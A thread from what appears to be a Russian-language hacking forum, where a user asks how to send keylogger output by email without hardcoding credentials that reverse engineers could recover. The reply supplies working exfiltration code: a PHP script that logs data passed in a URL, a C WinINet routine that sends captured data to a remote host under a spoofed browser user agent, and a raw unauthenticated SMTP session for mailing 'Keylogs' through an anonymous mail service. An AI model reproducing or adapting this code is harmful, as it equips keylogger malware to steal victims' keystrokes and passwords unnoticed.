• XSS.stack #1 – первый литературный журнал от юзеров форума

how to send keylogs using smtp server without logging in ?

3c2n90yt57489t3y8794

RAID-массив
Пользователь
Регистрация
01.09.2020
Сообщения
66
Реакции
5
I want to know if there is a way to use a smtp server to send emails without logging in the smtp server. I want to do that in order to not hardcode email user and pass on the final executable, so I can preserve email account security from people who try to reverse the code. Is it a good idea or there are better ways?
 
Use WININET and php script

Код:
<?php

$data = $_GET['s'];

if ($fp = fopen("log___.txt", "a+"))
{
    fwrite($fp, $data);
    fwrite($fp, "\n");
    fclose($fp);
}

?>

void Report(char *szData)
{
    HINTERNET hOpen, hURL;  

    char szSaveData[MAX_PATH];
  
    wsprintf(szSaveData, "http://host.ws/log.php?s=%s", szData);

    hOpen = InternetOpen("Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5370a Safari/604.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (hOpen != NULL)
    {  
        hURL = InternetOpenUrl(hOpen, szSaveData, NULL, 0, 0, 0);
      
        Sleep(1000);
      
        InternetCloseHandle(hURL);
    }
      
    Sleep(1000);
  
    InternetCloseHandle(hOpen);
}


int main()
{

Report("http://yourhost.com/log.php?s=whatotlog"

return 0;
}

It will create log____.txt on your server with data of variable $data in PHP script.


If you really want to use SMTP, you can easily do this, create account for example on secmail.pro, connect to MX server of secmail.pro, port 25

And send, without loggin:

EHLO host.com
MAIL FROM: from@mail.com
RCTP TO: your@mail.com
Subject: Keylogs
Data
From: from@mail.com
To: your@mail.com

herearethelogs

.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх